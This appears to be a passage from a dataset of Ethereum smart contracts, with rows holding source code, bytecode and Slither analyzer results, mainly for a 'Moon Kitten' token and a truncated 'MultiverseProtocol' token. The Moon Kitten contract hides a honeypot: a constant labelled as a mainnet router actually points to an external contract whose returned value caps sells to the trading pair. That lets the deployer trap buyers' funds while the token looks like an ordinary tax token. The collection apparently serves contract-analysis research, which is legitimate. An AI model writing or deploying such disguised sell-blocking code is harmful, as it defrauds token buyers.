fffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a7230582023f56b44d8a06f1490a7a8a0fadd82dbeef3f39e030e593892d533efc342e2f40029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 9,684 |
0x4e56b57ea6b35b4e86cbdb4354ebda867d0bc91c | /**
*Submitted for verification at Etherscan.io on 2021-11-20
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/MoonKittenToken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=8;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=6600000000;
string constant TOKEN_SYMBOL="MOONKITTEN";
string constant TOKEN_NAME="Moon Kitten";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract MKToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102965780639e752b95146102c9578063a9059cbb146102e9578063dd62ed3e14610309578063f42938901461034f57600080fd5b806356d9dce81461022457806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57600080fd5b8063293230b8116100d1578063293230b8146101c7578063313ce567146101de5780633e07ce5b146101fa57806351bc3c851461020f57600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a26b7b7b71025b4ba3a32b760a91b60208201525b60405161014b9190611501565b60405180910390f35b34801561016057600080fd5b5061017461016f36600461156b565b610364565b604051901515815260200161014b565b34801561019057600080fd5b5061019961037b565b60405190815260200161014b565b3480156101b357600080fd5b506101746101c2366004611597565b61039d565b3480156101d357600080fd5b506101dc610406565b005b3480156101ea57600080fd5b506040516006815260200161014b565b34801561020657600080fd5b506101dc61077f565b34801561021b57600080fd5b506101dc6107b6565b34801561023057600080fd5b506101dc6107e3565b34801561024557600080fd5b506101996102543660046115d8565b610864565b34801561026557600080fd5b506101dc610886565b34801561027a57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a257600080fd5b5060408051808201909152600a81526926a7a7a725a4aa2a22a760b11b602082015261013e565b3480156102d557600080fd5b506101dc6102e43660046115f5565b61092a565b3480156102f557600080fd5b5061017461030436600461156b565b610953565b34801561031557600080fd5b5061019961032436600461160e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506101dc610960565b60006103713384846109ca565b5060015b92915050565b60006103896006600a611741565b61039890640189640200611750565b905090565b60006103aa848484610aee565b6103fc84336103f7856040518060600160405280602881526020016118ce602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e2a565b6109ca565b5060019392505050565b6009546001600160a01b0316331461041d57600080fd5b600c54600160a01b900460ff161561047c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a99030906001600160a01b031661049a6006600a611741565b6103f790640189640200611750565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610520919061176f565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a6919061176f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610617919061176f565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064781610864565b60008061065c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e9919061178c565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610758573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077c91906117ba565b50565b6009546001600160a01b0316331461079657600080fd5b6107a26006600a611741565b6107b190640189640200611750565b600a55565b6009546001600160a01b031633146107cd57600080fd5b60006107d830610864565b905061077c81610e64565b6009546001600160a01b031633146107fa57600080fd5b600c54600160a01b900460ff166108535760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610473565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037590610fde565b6000546001600160a01b031633146108e05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610473565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461094157600080fd5b6008811061094e57600080fd5b600855565b6000610371338484610aee565b6009546001600160a01b0316331461097757600080fd5b4761077c8161105b565b60006109c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611099565b9392505050565b6001600160a01b038316610a2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b038216610a8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610bb45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b60008111610c165760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8991906117dc565b600c546001600160a01b038481169116148015610cb45750600b546001600160a01b03858116911614155b610cbf576000610cc1565b815b1115610ccc57600080fd5b6000546001600160a01b03848116911614801590610cf857506000546001600160a01b03838116911614155b15610e1a57600c546001600160a01b038481169116148015610d285750600b546001600160a01b03838116911614155b8015610d4d57506001600160a01b03821660009081526004602052604090205460ff16155b15610da357600a548110610da35760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610473565b6000610dae30610864565b600c54909150600160a81b900460ff16158015610dd95750600c546001600160a01b03858116911614155b8015610dee5750600c54600160b01b900460ff165b15610e1857610dfc81610e64565b47670de0b6b3a7640000811115610e1657610e164761105b565b505b505b610e258383836110c7565b505050565b60008184841115610e4e5760405162461bcd60e51b81526004016104739190611501565b506000610e5b84866117f5565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610eac57610eac61180c565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f29919061176f565b81600181518110610f3c57610f3c61180c565b6001600160a01b039283166020918202929092010152600b54610f6291309116846109ca565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9b908590600090869030904290600401611822565b600060405180830381600087803b158015610fb557600080fd5b505af1158015610fc9573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610473565b600061104f6110d2565b90506109c38382610981565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611095573d6000803e3d6000fd5b5050565b600081836110ba5760405162461bcd60e51b81526004016104739190611501565b506000610e5b8486611893565b610e258383836110f5565b60008060006110df6111ec565b90925090506110ee8282610981565b9250505090565b60008060008060008061110787611271565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113990876112ce565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111689086611310565b6001600160a01b03891660009081526002602052604090205561118a8161136f565b61119484836113b9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d991815260200190565b60405180910390a3505050505050505050565b6005546000908190816112016006600a611741565b61121090640189640200611750565b90506112396112216006600a611741565b61123090640189640200611750565b60055490610981565b8210156112685760055461124f6006600a611741565b61125e90640189640200611750565b9350935050509091565b90939092509050565b600080600080600080600080600061128e8a6007546008546113dd565b925092509250600061129e6110d2565b905060008060006112b18e878787611432565b919e509c509a509598509396509194505050505091939550919395565b60006109c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e2a565b60008061131d83856118b5565b9050838110156109c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b60006113796110d2565b905060006113878383611482565b306000908152600260205260409020549091506113a49082611310565b30600090815260026020526040902055505050565b6005546113c690836112ce565b6005556006546113d69082611310565b6006555050565b60008080806113f760646113f18989611482565b90610981565b9050600061140a60646113f18a89611482565b905060006114228261141c8b866112ce565b906112ce565b9992985090965090945050505050565b60008080806114418886611482565b9050600061144f8887611482565b9050600061145d8888611482565b9050600061146f8261141c86866112ce565b939b939a50919850919650505050505050565b60008261149157506000610375565b600061149d8385611750565b9050826114aa8583611893565b146109c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b600060208083528351808285015260005b8181101561152e57858101830151858201604001528201611512565b81811115611540576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077c57600080fd5b6000806040838503121561157e57600080fd5b823561158981611556565b946020939093013593505050565b6000806000606084860312156115ac57600080fd5b83356115b781611556565b925060208401356115c781611556565b929592945050506040919091013590565b6000602082840312156115ea57600080fd5b81356109c381611556565b60006020828403121561160757600080fd5b5035919050565b6000806040838503121561162157600080fd5b823561162c81611556565b9150602083013561163c81611556565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169857816000190482111561167e5761167e611647565b8085161561168b57918102915b93841c9390800290611662565b509250929050565b6000826116af57506001610375565b816116bc57506000610375565b81600181146116d257600281146116dc576116f8565b6001915050610375565b60ff8411156116ed576116ed611647565b50506001821b610375565b5060208310610133831016604e8410600b841016171561171b575081810a610375565b611725838361165d565b806000190482111561173957611739611647565b029392505050565b60006109c360ff8416836116a0565b600081600019048311821515161561176a5761176a611647565b500290565b60006020828403121561178157600080fd5b81516109c381611556565b6000806000606084860312156117a157600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117cc57600080fd5b815180151581146109c357600080fd5b6000602082840312156117ee57600080fd5b5051919050565b60008282101561180757611807611647565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118725784516001600160a01b03168352938301939183019160010161184d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118b057634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c8576118c8611647565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a4b51f79d33b2014d0a65f03857f82576c168807d7acb7056334965ebc5d48b64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,685 |
0xdd7080c0f0d368cfa0371ea05cd3829162273aa0 | /**
https://t.me/MultiverseProtocol
https://multiverseprotocol.space/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MultiverseProtocol is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"MultiverseProtocol"; ////
string public constant symbol = unicode"Multiverse"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
